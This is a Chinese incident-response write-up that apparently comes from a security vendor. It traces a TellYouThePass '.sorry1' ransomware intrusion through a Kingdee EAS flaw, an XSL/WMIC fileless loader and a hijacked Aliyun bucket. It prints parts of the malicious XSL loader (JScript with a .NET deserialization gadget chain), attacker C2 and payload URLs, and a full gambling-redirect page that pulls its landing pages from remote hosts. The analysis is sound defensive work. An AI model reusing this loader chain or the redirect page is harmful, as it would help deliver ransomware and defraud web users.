04:58:41 阅读量:37

【万字首发】零安全设备零日志环境下的极限溯源,疑似国内黑产组织的.sorry1变种勒索病毒攻击链全拆解

#勒索软件 #攻击技术 #威胁情报

依托 Solar 安全运营响应团队的日常实战沉淀,我们会定期分享在安全运营中处置的典型应急响应事件,涵盖银狐木马、APT 攻击、勒索病毒等各类主流威胁。 作为专业的应急响应中心,Solar 致力于为复杂多变的安全事件提供从深度溯源到闭环处置的全流程支持。针对银狐、APT 等具有高隐蔽性的威胁,我们不仅聚焦于对其攻击行为的深度剖析,更致力于还原其完整的活动链路,并同步输出切实可行的清除闭环操作方案。 突发危机干预通道: 若您的核心资产正面临加密锁定或数据勒索风险,请通过文末二维码联系我们。我们提供全天候紧急介入服务,协助您快速切断攻击链路,全力挽回业务损失。

前言

在此前的一段时间里,Solar应急响应团队陆续发布了关于 TellYouThePass 勒索家族(.sorry 扩展名)的两篇深度分析。第一篇聚焦于该家族针对国内企业财务系统的批量漏洞扫描与无差别攻击,第二篇则对近期 ".sorry" 集中爆发的攻击路径进行了复盘。

【紧急警示】TellYouThePass勒索家族卷土重来,新变种“.sorry”勒索病毒针对财务系统发起攻击

【紧急预警】针对近期 “.sorry” 勒索病毒爆发的深度溯源与攻击路径复盘

回顾这两篇文章中梳理的信息,TellYouThePass 家族的作案风格算是比较有辨识度的。他们不像 LockBit、BlackCat 这类国际团伙那样运营暗网博客、谈判门户。相反,这个家族在勒索策略上走了一条相当"接地气"的路线:直接在勒索信中引导受害者去淘宝平台搜索特定关键词,通过电商中介完成赎金交易。

攻击者在勒索信中引导受害者在淘宝购买密钥

这种模式的差异背后,反映的是攻击者对自身"客户群体"的精准定位。暗网和加密货币钱包对于普通中小企业运维人员来说门槛不低,而淘宝作为国内众人熟知的电商平台,大幅降低了受害者"付款赎人"的心理门槛和操作成本。从攻击者的角度看,这既是一种用户体验优化,也是一种风险转移:中间商的存在让资金流更加隐蔽。

而在技术层面,TellYouThePass 同样表现出鲜明的"本土化"特征。与 Phobos 家族偏爱的 RDP 暴力破解、Mallox 家族擅长的数据库弱口令与 SQL Server 命令执行不同,TellYouThePass 更倾向于利用国内护网(HW)期间爆发的高危漏洞进行快速武器化。他们擅长抓 1day 甚至 Nday 的补丁空窗期,对暴露在互联网上的业务资产做批量扫描和植入。这种打法与某些国内红队的实战套路有相似之处:快、准、狠,不恋战,拿到权限后迅速完成加密和勒索,不搞长期潜伏。

就在我们以为对这个家族的技战法已经足够熟悉的时候,.sorry1 变种的出现带来了一些新的变数。本次应急案例中,攻击者在载荷投递方式上做出了明显调整:放弃了此前常用的 HTA 无文件执行路径,转而采用 XSL 样式表配合 WMIC 进行远程加载。这一变化不仅提升了免杀能力,也给我们的溯源工作带来了额外的挑战。

更为值得关注的是,在本次深度溯源过程中,我们在攻击者控制的阿里云存储桶中发现了一些颇具"国内特色"的残留文件:包括用蚁剑连接一句话木马的截图、以"老虎机"相关拼音命名的黑帽 SEO 网页、以及疑似利用 CouchDB 漏洞的利用载荷。这些痕迹指向的作案手法和工具偏好,与国内黑产组织的常见特征高度吻合。

本文将完整还原这起应急事件的全部技术细节:从一台没有安全设备、没有流量日志、没有 Web 访问日志的"三无"现场,一步步通过手工取证追溯到攻击者的载荷分发源头。

本文基于真实应急案例,完整还原从无安全设备环境下的手工溯源到存储桶深度挖掘的全流程。文中涉及的技术细节与知识点,希望对一线安全从业者在类似场景下的应急响应工作有所帮助。

声明: 本文仅供安全技术研究与防护参考。文中涉及的渗透测试、样本分析和溯源行为均在客户已明确授权的环境下进行。为保护目标单位隐私,所涉系统名称、URL、IP 及敏感数据已做严格脱敏处理。请勿利用本文思路进行任何未经授权的访问或攻击行为。

如您受勒索病毒及网络攻击的困扰、您可访问应急响应.com确定家族及联系Solar应急响应团队介入。

访问应急响应.com查询勒索病毒

一、事件现场与应急处置启动

1.1 确定加密时间

接到客户求助后,我们首先上机排查。通过文件系统的时间戳分析,确认大规模加密行为发生在 2026 年 6 月 5 日凌晨 00:37。

被加密文件的修改时间集中在 2026-06-05 00:37 左右

这个时间点很关键:凌晨、周末前夕,典型的攻击者选时策略,目的是在 IT 响应力量最薄弱的时段完成加密,最大化业务中断的压迫感。

1.2 排查对外开放面

向客户确认公网开放的 IP 及业务端口后,我们梳理出以下关键信息:

  • 金蝶 EAS 财务系统( Web 界面 )

  • SQL Server 数据库服务( 1433 端口 )

为了确保没有第三方运维人员私自映射端口的情况,我们同步做了互联网资产测绘进行二次确认,测绘结果与客户描述一致。

通过情报测绘平台确认互联网侧暴露资产

1.3 日志取证的困境

接下来我们针对金蝶 EAS 进行日志提取。遗憾的是,金蝶 EAS 及其使用的中间件 Apusic 并未产生类似于 Nginx、Apache 那样的标准化访问日志,无法从中提取攻击路径和攻击者 IP。

不过,在系统日志中我们确认了金蝶 EAS 的当前版本为 7.0 SP3。

金蝶 EAS 版本信息确认为 7.0 SP3

这个版本号立刻引起了我们的注意。2025 年护网期间,该版本曾被爆出过代码执行漏洞,属于典型的 HW 1day。这也与我们此前掌握的 TellYouThePass 家族情报高度吻合—:他们善于利用护网期间暴露的漏洞进行快速武器化和全网无差别攻击。

1.4 渗透测试验证

在日志缺失的情况下,我们无法通过常规手段完成攻击链的证据闭环。于是我们转向渗透测试思路:既然攻击者可能通过金蝶 EAS 漏洞入侵,那当前版本是否仍然存在这个漏洞?

不出所料,通过对金蝶 EAS 7.0 SP3 的漏洞验证,我们成功向 C 盘根目录写入了一个测试文件(1.txt),确认该版本存在代码执行漏洞。

通过渗透测试复现金蝶 EAS 代码执行漏洞

通过进一步搜索该攻击载荷的公开信息,我们确认此漏洞最早在 2025 年护网期间被曝光,随后被多个攻击团伙武器化利用。

互联网公开情报确认该漏洞载荷出现在 2025 年 HW 期间

至此,我们已经初步确认了攻击入口:金蝶 EAS 代码执行漏洞。但接下来还有一个关键问题需要回答:攻击者是通过漏洞直接执行了加密载荷,还是先下载了某个中间文件?

这个问题的答案,将直接决定我们后续溯源的方向。

二、捕获加密载荷:一个 XSL 文件

2.1 Windows Defender 的关键告警

在受害机器的 Windows Defender 日志中,我们找到了一条非常关键的信息:最早在 2026 年 6 月 5 日 00:37:52,Defender 查杀了一个名为 new[1].xsl 的文件:

查杀路径:

C:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\IE\0NOWIZK4\new[1].xsl

Windows Defender 查杀日志,进程为 WMIC.exe

这条日志包含了两个极其重要的信息:

  1. **进程名称为 C:\Windows\SysWOW64\wbem\WMIC.exe:**说明这个 XSL 文件是通过 WMIC 工具下载并执行的

  2. **文件路径位于 INetCache\IE 目录下:**这是 Windows 的 IE 缓存目录,说明文件是通过 WinINet API 下载后被缓存到本地的

2.2 XSL 样本提取与沙箱检测

在保证安全的前提下,我们对这个 XSL 文件进行了提取,并将其上传到多引擎沙箱做初步检测。结果显示,仅有 5 个引擎检出恶意:这说明攻击者在混淆和免杀处理上下了不少功夫。

沙箱检测结果,仅 5 家引擎报毒

下面进入这个 XSL 样本的深度技术剖析。

三、XSL 恶意载荷深度逆向分析

本节内容基于 Solar 应急响应团队对捕获样本的完整逆向分析,系统梳理该载荷的攻击链、技术原理及检测指标。

3.1 样本概览

3.2 攻击链全景:四个阶段

该样本采用典型的多阶段攻击链,整体工作流程可分为四个核心阶段。

第一阶段:XSL 解析与脚本执行

样本以标准 XML 声明开头,伪装成合法的 XSL 样式表文件。其核心恶意逻辑嵌入在 msxsl:script 标签内,利用 Microsoft XSL 处理器的脚本扩展功能执行 JScript 代码。

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  xmlns:user="http://mycompany.com/mynamespace">
  <msxsl:script language="JScript" implements-prefix="user">
    // ... 恶意脚本代码 ...
  </msxsl:script>
</xsl:stylesheet>

当该 XSL 文件被 msxsl.exe 或支持 XSL 脚本处理的组件解析时,嵌入的 JScript 代码获得执行权限。这种技术在 MITRE ATT&CK 框架中的编号为 T1220(XSL Script Processing),是一种相对隐蔽的代码执行手法。由于 WMIC.exe 是 Windows 系统原生自带的合法管理工具,其调用 XSL 文件的行为在传统白名单机制下往往不会被拦截。

第二阶段:环境准备与版本控制

恶意脚本首先调用 setversion() 函数,强制设置环境变量 COMPLUS_Version 为 v2.0.50727,确保后续 .NET 操作在特定运行时版本下执行:

function setversion() {
  new ActiveXObject('WScript.Shell')
    .Environment('Process')('COMPLUS_Version') = 'v2.0.50727';
}

这一操作的目的是保证反序列化载荷与目标环境的 .NET Framework 2.0 运行时兼容:说明攻击者在武器化过程中考虑到了目标环境的兼容性,具备一定的工程化思维。

随后,脚本通过 base64ToStream 函数将 Base64 编码的恶意载荷转换为 .NET 内存流,为后续反序列化做准备。该函数利用 ActiveXObject 创建多个 .NET Framework 系统对象完成转换:

function base64ToStream(b) {
  var enc = new ActiveXObject("System.Text.ASCIIEncoding");
  var length = enc.GetByteCount_2(b);
  var ba = enc.GetBytes_4(b);
  var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
  ba = transform.TransformFinalBlock(ba, 0, length);
  var ms = new ActiveXObject("System.IO.MemoryStream");
  ms.Write(ba, 0, (length / 4) * 3);
  ms.Position = 0;
  return ms;
}

第三阶段:载荷解码与反序列化:整个攻击链的核心

这是整个攻击链中最关键的环节。脚本利用 System.Runtime.Serialization.Formatters.Binary.BinaryFormatter 对编码数据进行反序列化操作。该组件存在一个已知的安全缺陷:在反序列化过程中会执行对象内部的委托链(Delegate Chain),从而导致任意代码执行。

var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy" +
  "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph" +
  // ... 超长 Base64 编码的序列化数据 ...

var entry_class = 'WindowsUpgrade.Upgrade';
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);

反序列化的对象是一个 DelegateSerializationHolder 实例,其中包含精心构造的委托链。当 DynamicInvoke 被调用时,会触发链式反应,最终加载并执行内嵌的 .NET 程序集。这种技术被称为 ".NET Gadget Chain" 攻击。

需要特别强调的是,整个攻击过程无需写入磁盘,完全在内存中完成:从 Base64 解码到 .NET 反序列化,再到最终勒索 DLL 的加载和执行,全部在 wmic.exe 的进程空间内闭环完成。这种 Fileless Execution(无文件执行) 手法大大增加了传统基于文件扫描的杀毒软件的检测难度。

第四阶段:恶意对象实例化

通过反序列化攻击获取执行环境后,脚本调用 CreateInstance 方法实例化 WindowsUpgrade.Upgrade 类。该类属于内嵌的 FileEncryptor20.dll 程序集,是勒索软件的核心功能模块。实例化完成后,勒索程序正式启动,开始文件加密、C2 通信等恶意操作。

var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
// entry_class = 'WindowsUpgrade.Upgrade'
// FileEncryptor20.dll 核心勒索模块

3.3 关键技术细节深度剖析

3.3.1 为什么攻击者选择 XSL 而不是 EXE?

这是一个值得深入分析的策略性问题。从攻击者视角来看,选择 XSL 作为载荷投递格式至少有以下几层考量:

**第一,绕过应用程序白名单。**WMIC.exe 是 Windows 系统自带的合法管理工具,位于 C:\Windows\System32\wbem\ 目录下,具有微软官方签名。在大多数企业的应用程序白名单策略中,WMIC 属于"受信任"的系统组件,其执行行为通常不会被拦截。

**第二,天然的无文件执行属性。**攻击者不需要投递一个 PE 文件到目标磁盘。XSL 文件通过 HTTP 远程加载后,直接被 WMIC 解析执行,恶意代码完全在内存中运行:传统杀毒软件依赖的文件扫描、PE 特征匹配、签名比对等手段,对这种"不落地"的攻击方式效果有限。

**第三,利用合法系统组件做"中间人"。**从防御者的角度看,看到 WMIC.exe 在运行是再正常不过的事情。但 WMIC 加载 XSL 文件后,内部会通过 msxsl:script 标签执行 JScript,再由 JScript 拉起 .NET CLR,最终通过反序列化加载勒索 DLL:整个链条隐藏在合法系统进程内部,行为链的每个环节单独看都不像恶意行为。

**第四,网络层面的隐蔽性。**WMIC 通过 HTTP 下载 XSL 文件时,走的是标准的 WinINet API,流量特征与普通的 HTTP 下载无异。相比 Meterpreter 反向 Shell 那种明显的 C2 通信模式,这种"拉取一个样式表文件"的行为在网络流量中几乎不会引起注意。

**第五,快速迭代和变更能力。**XSL 文件本质上是文本文件,攻击者可以随时修改其中的恶意逻辑、更换 C2 地址、调整加密行为,不需要重新编译 PE 文件,也不需要处理复杂的加壳和免杀问题。

3.3.2 内嵌载荷结构分析

通过对 Base64 解码后的数据进行深入分析,我们提取出以下关键信息:

  • 内嵌程序集名称: FileEncryptor20.dll,伪装为 Windows 升级组件

  • 入口类: WindowsUpgrade.Upgrade

  • 编译目标框架: .NET Framework 2.0 (v2.0.50727)

  • 程序集标识: mscorlib, Version=2.0.0.0

载荷内部包含大量明文字符串,揭示了其勒索软件的本质功能。这些字符串包括加密算法名称、文件扩展名列表、C2 通信指令以及勒索信模板。

3.3.3 加密方案分析

该勒索软件采用混合加密方案,结合了对称加密与非对称加密的优点:

  • 对称加密: AES-GCM(Galois/Counter Mode),用于快速加密文件内容

  • 非对称加密: RSA-2048,用于加密 AES 密钥,确保只有攻击者能解密

  • 密钥管理: 每文件生成独立的 AES 密钥和 GCM 随机数(Nonce)

  • 哈希算法: MD5 用于数据完整性校验

载荷中硬编码了超过 200 种文件扩展名,主要聚焦高价值数据文件,尤其是数据库相关文件:

3.4 恶意行为详细分析

3.4.1 文件加密行为

勒索软件启动后,会遍历系统磁盘,根据内置的扩展名列表筛选目标文件。加密过程采用分块流式处理(StreamChunk),对大型文件设置阈值(LargeFileThreshold),超过阈值的文件采用特殊的分段加密策略。加密完成后,文件会被添加 .sorry1 扩展名。

3.4.2 C2 通信与数据外泄

样本在加密操作开始前,会收集目标系统的关键信息并通过网络回传至 C2 服务器。收集的信息包括:

  • 主机名(通过 BuildHostnameInfo 函数构建)

  • 系统环境变量与用户信息

  • 处理器数量(用于评估目标价值)

  • 加密后的会话私钥(使用攻击者 RSA 公钥加密)

网络通信使用 HTTP 协议,伪装成正常的 GET 请求,回传数据嵌入在请求参数中。C2 服务器地址为:165.22.77.41

3.4.3 系统服务操作

为确保加密过程不受干扰,样本会尝试停止与数据备份和恢复相关的系统服务:

通过停止这些服务,攻击者确保数据库文件处于非锁定状态,可以被加密修改。

3.4.4 勒索信投递

加密完成后,样本会在每个被加密的目录中释放勒索信文件(README.md)。与其他勒索家族不同,该勒索信包含暗网链接或 TOX ID,而是引导受害者前往淘宝平台搜索特定关键词购买解密密钥。

攻击者勒索信引导受害者前往淘宝平台购买密钥

3.5 逆向分析小结

通过上述分析可以看出,.sorry1 变种的载荷投递方式相比此前的 .sorry 有了明显升级。从 HTA + mshta 切换到 XSL + WMIC,攻击者在保持"无文件执行"优势的同时,进一步提升了对抗终端安全产品的能力。这种对系统合法组件的深度利用、对 .NET 反序列化漏洞的熟练运用、以及完整的内存执行链条,都说明该家族背后的技术团队具备一定的逆向分析和漏洞利用能力。

四、从 WMIC 到 WebCache:一个极易被忽视的深度溯源路径

4.1 WMIC 与 XSL 的交互原理

在继续溯源之前,有必要先搞清楚一个问题:WMIC 下载的 XSL 文件,为什么会出现在 IE 的缓存目录里?

WMIC 是 Windows 系统自带的管理工具,其 process get 命令支持通过 /format 参数指定一个 XSL 样式表文件来格式化输出。当 /format 参数指向一个 HTTP URL 时,WMIC 底层会调用 WinINet API 来下载这个远程文件。

WinINet 是 Windows 提供的一套网络通信 API,被 IE 浏览器、Office 等多种组件共用。当通过 WinINet 下载文件时,系统会自动将下载内容缓存到 IE 的缓存目录(INetCache),以便后续访问时直接从本地读取,无需重复下载。这个机制原本是为了提升网页浏览体验,但在攻击场景中,它产生了一个副作用:即使攻击者只想在内存中执行恶意代码,XSL 文件仍然会作为"缓存文件"被写入磁盘。

所以,我们在 INetCache\IE\0NOWIZK4\new[1].xsl 找到的这个文件,本质上就是 WMIC 通过 WinINet 下载并缓存到本地的攻击载荷。文件名中的 [1] 是 WinINet 的缓存命名规则:当同名文件再次下载时,系统会自动追加序号以避免冲突。原始的文件名应该是 new.xsl。

4.2 关键知识点:C:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\IE\

这个路径是 Windows 系统中 WinINet 缓存的默认存储位置,通常被称为"IE 缓存目录"。需要注意的是,虽然名字叫"IE 缓存",但它并不仅仅是 IE 浏览器的专属:任何调用 WinINet API 进行 HTTP 请求的程序,其下载的内容都会被缓存到这里。

这意味着,即使目标环境没有安装 IE 浏览器,或者受害者从不使用 IE,这个目录仍然可能存在。对于取证人员来说,这是一个容易被忽视但实际价值极高的数据源:它记录了所有通过 WinINet 下载的文件,包括攻击者通过 WMIC、certutil、bitsadmin 等工具远程下载的载荷。

在本次案例中,正是 Windows Defender 在缓存写入阶段触发了实时防护拦截,才让我们得以发现这个关键的 XSL 文件。可以想象,如果当时终端上没有开启实时防护,或者攻击者使用了某种方式绕过 Defender,这个 XSL 文件可能会在缓存中被覆盖或删除,溯源的难度将大幅增加。

4.3 WebCacheV01.dat:缓存背后的"元数据库"

既然 XSL 文件是通过 HTTP 下载的,那攻击者到底是从哪个 URL 下载的?这个问题的答案,并不在 XSL 文件本身,而是藏在另一个更深层的系统文件中:WebCacheV01.dat。

WebCacheV01.dat 位于:

C:\Users\Administrator\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat

这是一个 ESE数据库文件,由 Windows 的 WinINet 缓存服务自动维护。它记录了所有通过 WinINet 下载的文件的完整元数据,包括:

  • 原始下载 URL(最关键的字段)

  • 文件在缓存中的本地路径

  • 访问时间(AccessedTime)

  • 创建时间(CreationTime)

  • HTTP 请求头信息

  • 文件大小

可以把它理解为 WinINet 缓存的"索引数据库":每个被缓存的文件,都会在这里留下一条详细的访问记录。只要文件曾经通过 WinINet 被下载过,无论它后来是否被删除,这条记录几乎都会保留在 WebCacheV01.dat 中。

在我们的溯源场景中,这个数据库的重要性不言而喻。既然我们知道了 new[1].xsl 是通过 WinINet 缓存下来的,那么只要读取 WebCacheV01.dat,搜索 new.xsl 或 new[1].xsl,就能找到对应的记录行,从而提取出攻击者用于下载该文件的原始 URL:这个 URL 很可能就是攻击者的 C2 地址或载荷分发服务器。

4.4 WebCache 数据库的提取与分析

WebCacheV01.dat 在系统运行期间通常被 taskhostw.exe 等进程锁定,无法直接复制。在我们的实际取证过程中,采用了以下步骤来提取:

步骤一:创建卷影副本

vssadmin create shadow /for=C:

步骤二:从卷影副本中复制文件

copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Users\Administrator\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat" D:\Forensics\

步骤三:使用 NirSoft ESEDatabaseView 打开数据库

加载 WebCacheV01.dat 后,在左侧的表列表中找到以 Container_ 开头的表(如 Container_1、Container_2 等)。WinINet 的缓存记录通常分布在这些 Container 表中。按下 Ctrl + F,输入文件名,勾选"在所有表中查找",即可定位到对应的缓存记录。

在 WebCache 数据库中搜索到 new.xsl 的缓存记录

找到对应的记录行后,向右滑动表格列,查看 Url 字段:这里存储的完整 HTTP URL,就是攻击者用于投递 XSL 载荷的原始地址。

不出意外,我们在 WebCache 记录中找到了攻击者执行下载操作的 URL:

http://migusto.oss-us-east-1.aliyuncs.com/new.xsl

这是一个 阿里云 OSS 存储桶地址,存储桶名为 migusto,地域为美东 1(弗吉尼亚)。继续对此域名做情报测绘,确认解析节点位于美国。

情报测绘平台显示的存储桶域名解析信息

至此,我们已经从一台没有安全设备、没有流量日志的受害机器上,通过手工取证的方式,成功追溯到了攻击者分发恶意载荷的源头。但这只是溯源工作的起点:这个存储桶里还藏着更多的秘密。

五、存储桶深度挖掘:一个被劫持的"黑产公用基础设施"

5.1 存储桶权限配置的致命疏漏

在访问 migusto.oss-us-east-1.aliyuncs.com 的根目录后,我们发现了一个严重的权限配置失误:该存储桶开启了 "匿名列出对象(Public List)" 权限,这意味着任何人在不经过身份验证的情况下,都可以直接列出存储桶内的全部文件列表。

存储桶根目录可直接访问,暴露完整文件列表

通过浏览这个目录,我们注意到几个非常可疑的特征:

  1. 文件时间跨度极大:最早的文件可追溯到 2021 年,而最新的文件(config.xsl)更新于 2026 年 6 月 5 日(正是本次攻击发生的时间)

  2. **存在大量无意义的测试文件:**比如 1 字节的 gitlab_backup.tar,明显是攻击者在做上传测试时留下的痕迹

  3. **文件类型高度混杂:**包含 .xsl、.exe、.png、.svg、.jsp、.html 等多种格式

分析: 这个存储桶大概率不是攻击者自己花钱购买的。结合文件列表中存在的正常图片文件(2021 年上传的 1024x2208-2(1).png 等),我们推测这是一个普通企业或开发者的 OSS 存储桶,被攻击者通过 AccessKey 泄露等方式劫持后,当做了免费的、具有高信誉度的恶意载荷分发平台。

阿里云 aliyuncs.com 域名在国内具有较高的网络可信度和 CDN 加速节点,攻击者利用这一点,可以让目标环境的防火墙和出口网关对来自该域名的流量"放行":这是一种典型的"水坑"式载荷分发策略。

5.2 按时间线筛选可疑文件

我们将存储桶中 2026 年 4 月至 6 月期间上传的文件按时间排序后批量下载,进行逐一分析。以下是我们发现的关键文件:

通过存储桶下载近3个月的文件列表

文件 1:0023_20260430_054308_test.jsp

文件扩展名为 .jsp,但实际内容是一个 PE 可执行文件。沙箱分析显示存在可疑行为。

test.jsp 文件的沙箱检测报告,实际为可执行程序

程序安装过程截图

攻击者将 PE 文件伪装为 JSP 文件上传,目的是绕过阿里云 OSS 的文件类型检测(如果存在的话),同时也可能用于绕过目标环境的 Web 应用防火墙:当 WAF 看到 .jsp 扩展名时,可能将其识别为合法的服务器端脚本,而不是可执行程序。

文件 2 与 3:0018_20260602_101708_admin.png 和 0019_20260602_091720_user.svg

这两个文件分别伪装为 PNG 图片和 SVG 矢量图,上传时间为 6 月 2 日,实际内容均为加密器文件。

admin.png 的实际内容为恶意程序

admin.png 的实际内容为恶意程序

将 PE 文件伪装为图片格式是一种常见的免杀手法:图片文件通常不会被杀毒软件深度扫描,而且 .png 和 .svg 在 Web 流量中极为常见,不会引起网络层安全设备的注意。

文件 4:0015_20260602_153846_install32.svg

文件头分析确认,这个 .svg 文件实际上是一个完整的 Windows 可执行文件(PE 格式)。

文件头分析确认 install32.svg 为 PE 可执行文件

经沙箱分析确认为恶意文件,执行截图显示这就是 .sorry 勒索病毒的 EXE 格式加密器:

沙箱确认 install32.svg 为恶意文件

程序执行界面显示为 .sorry 勒索病毒加密器

通过执行流程分析,该加密器的回连 C2 地址确认为:165.22.77.41

加密器执行逻辑分析,C2 地址为 165.22.77.41

值得注意的是,这个 C2 地址与此前我们在 XSL 样本逆向分析中提取到的 C2 地址完全一致。这形成了不同格式载荷(XSL 和 EXE)之间的 C2 统一性,进一步确认这些文件均来自同一攻击团伙。

5.3 黑产组织痕迹:"老虎"与黑帽 SEO

在存储桶的文件列表中,我们还发现了大量以中文拼音命名的 HTML 文件:

0034_20251221_131526_babyiou1
0031_20260115_085351_laohuaini
0032_20260115_085239_woainilaohu
...

文件夹中有一大批类似 woainilaohu(我爱你老虎)、laohuaini(老虎爱你)、laohuwoaini 等拼音命名的文件,以及 babyiou1。

"老虎"的含义: 在黑产黑话中,"老虎"通常指代"老虎机",即网络博彩。这些全都是 HTML 网页文件,内部嵌入了 jQuery 和一段恶意的 JS 跳转代码。代码逻辑是请求 https://url.bn26.cn/url.txt 获取最新的落地页,然后把访问者强制重定向过去。

<!-- 将此文件上传至cdn,  可作为API接口 -->
<!DOCTYPE html>
<html>
        <head>
                <meta http-equiv="content-type" content="text/html; charset=utf-8" />
                <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0,user-scalable=no,minimal-ui" />
                <title>安全访问</title>
                <link rel="shortcut icon" href="https://img20.360buyimg.com/openfeedback/jfs/t1/292677/7/13691/5955/6850ed3dFbc74fd76/1696a1008d976ef6.png" type="image/x-icon" />
                <style>
                        html,
                        body,
                        #app,
                        iframe {
                                padding: 0;
                                margin: 0;
                                width: 100%;
                                height: 100%;
                                border: 0;
                        }

                        #app {
                                display: flex;
                                align-items: center;
                                justify-content: center;
                        }

                        .mouth {
                                fill: none;
                                stroke: #00b51d;
                                stroke-width: 5;
                                stroke-linecap: round;
                                stroke-dasharray: 44, 44;
                                transform-origin: center;
                                animation: mounthAni 2.3s ease-out infinite;
                        }

                        .eye {
                                fill: none;
                                stroke: #00b51d;
                                stroke-width: 5;
                                stroke-linecap: round;
                                stroke-dasharray: 0, 66;
                                transform-origin: center;
                                transform: rotate(-45deg);
                                animation: eyeAni 2.3s ease-in-out infinite;
                        }

                        @keyframes mounthAni {
                                40% {
                                        stroke-dasharray: 44, 22;
                                }

                                80%,
                                100% {
                                        stroke-dasharray: 44, 44;
                                        transform: rotate(720deg);
                                }
                        }

                        @keyframes eyeAni {
                                40% {
                                        stroke-dasharray: 0, 77;
                                }

                                80%,
                                100% {
                                        transform: rotate(675deg);
                                        stroke-dasharray: 0, 66;
                                }
                        }
                </style>
        </head>
        <body>
                <div id="app">
                        <svg width="100" height="100">
                                <circle class="mouth" cx="50" cy="50" r="14"></circle>
                                <circle class="eye" cx="50" cy="50" r="14"></circle>
                        </svg>
                </div>
                <script>
                        // OSS链接
                        const OSS = 'https://qjqgx6wpllyv4kewp6.oss-cn-beijing.aliyuncs.com/life/oss.txt';
                        const rmkeys = ['data'];
                        const query = new URLSearchParams(Object.fromEntries(Object.entries(getQuery()).filter(([key]) => !rmkeys.includes(key)))).toString();
                        const app = document.querySelector('#app');
                        const hasJumpOut = new URLSearchParams(window.location.search).has('jumpOut');
                        const isWeChat = /MicroMessenger/i.test(navigator.userAgent);
                        const isQQ = /QQ/i.test(navigator.userAgent);
                        const isAlipay = /Alipay/i.test(navigator.userAgent);
                        const showdom = createElement('showdom', {
                                style: {
                                        position: 'fixed',
                                        top: '0',
                                        left: '0',
                                        width: '100%',
                                        height: '100%',
                                        backgroundColor: 'rgba(0,0,0,.1)',
                                        display: 'flex',
                                        alignItems: 'center',
                                        justifyContent: 'center'
                                }
                        });

                        fetch(OSS)
                                .then(res => res.text())
                                .then(res => {
                                        const APIS = res.split('\n').filter(Boolean);
                                        const API = APIS[Math.floor(Math.random() * APIS.length)];
                                        fetch(`${API}/rpa.php?data=${getQuery('data')}`)
                                                .then(res => res.json())
                                                .then(res => {
                                                        if (res.code !== 200) {
                                                                app.innerText = '加载失败, 请刷新重试或联系客服';
                                                                return;
                                                        }
                                                        const src = `${res.data}?${query}`;
                                                        if (hasJumpOut && !isWeChat && !isQQ && !isAlipay) {
                                                                top.location.href = src;
                                                                window.top.location.href = src;
                                                                return;
                                                        }
                                                        const iframe = createElement('iframe', {
                                                                src: src,
                                                                sandbox: `allow-same-origin allow-scripts allow-top-navigation allow-forms allow-popups`
                                                        });
                                                        app.innerHTML = iframe.outerHTML;
                                                        getTitle(API, src);
                                                });
                                });

                        // 监听传过来的dom
                        window.addEventListener(
                                'message',
                                e => {
                                        switch (e.data.action) {
                                                case 'showDom':
                                                        showdom.innerHTML = e.data.dom;
                                                        document.body.appendChild(showdom);
                                                        break;
                                                case 'closeDom':
                                                        showdom.remove();
                                                        break;
                                        }
                                },
                                '*'
                        );

                        /**
                         * 获取URL查询参数,支持重复参数
                         * @param {string} key - 要获取的参数键名,不传则返回所有参数
                         * @returns {string|Object|Array} - 如果指定了key且参数重复,则返回一个数组;否则与版本1相同
                         */
                        function getQuery(key = null) {
                                const urlParams = new URLSearchParams(window.location.search);

                                if (key) {
                                        return urlParams.getAll(key) || '';
                                } else {
                                        const params = {};
                                        for (const [key, value] of urlParams.entries()) {
                                                if (params[key]) {
                                                        if (!Array.isArray(params[key])) {
                                                                params[key] = [params[key]];
                                                        }
                                                        params[key].push(value);
                                                } else {
                                                        params[key] = value;
                                                }
                                        }
                                        return params;
                                }
                        }

                        /**
                         * @description: 创建一个元素
                         * @param {string} tagName
                         * @param {object} attr
                         * @return {HTMLElement}
                         */
                        function createElement(tagName, attr = {}) {
                                if (!tagName) {
                                        throw new Error('[tagName] 不能为空');
                                }
                                const tag = document.createElement(tagName);

                                function _setAttr(tag, attr) {
                                        for (let k in attr) {
                                                if (typeof attr[k] === 'object' && !Array.isArray(attr[k])) {
                                                        _setAttr(tag[k], attr[k]);
                                                } else if (k in tag) {
                                                        tag[k] = attr[k];
                                                } else if (typeof attr[k] === 'function') {
                                                        tag.setAttribute(k, attr[k]());
                                                } else {
                                                        tag.setAttribute(k, attr[k]);
                                                }
                                        }
                                }

                                _setAttr(tag, attr);
                                return tag;
                        }

                        /**
                         * @description: 获取目标网站的标题
                         * @param {string} url
                         * @return {void}
                         */
                        function getTitle(api, url) {
                                fetch(`${api}/title.php?url=${encodeURIComponent(url)}`)
                                        .then(res => res.json())
                                        .then(res => {
                                                if (res.code !== 200) {
                                //                         document.title = '';
                                                } else {
                                                        document.title = res.data;
                                                }
                                        });
                        }
                </script>
        </body>
</html>

战术分析: 这是典型的"寄生虫"黑帽 SEO 手法。黑客利用阿里云 aliyuncs.com 极高的搜索引擎权重,大量上传这些包含特定关键词的 HTML。当普通用户在百度或谷歌搜索相关词汇时,这些网页会排在前面,点进去就会被跳转到境外博彩或色情网站。

这种手法的存在,可能预示着此 OSS 存储桶被不同的黑产组织攻击后控制,用于各自不同的非法用途:有的拿来分发勒索载荷,有的拿来做黑帽 SEO。或者,本次 TellYouThePass 勒索组织内部有明确的分工,不同"部门"负责不同工序的黑灰产业务。

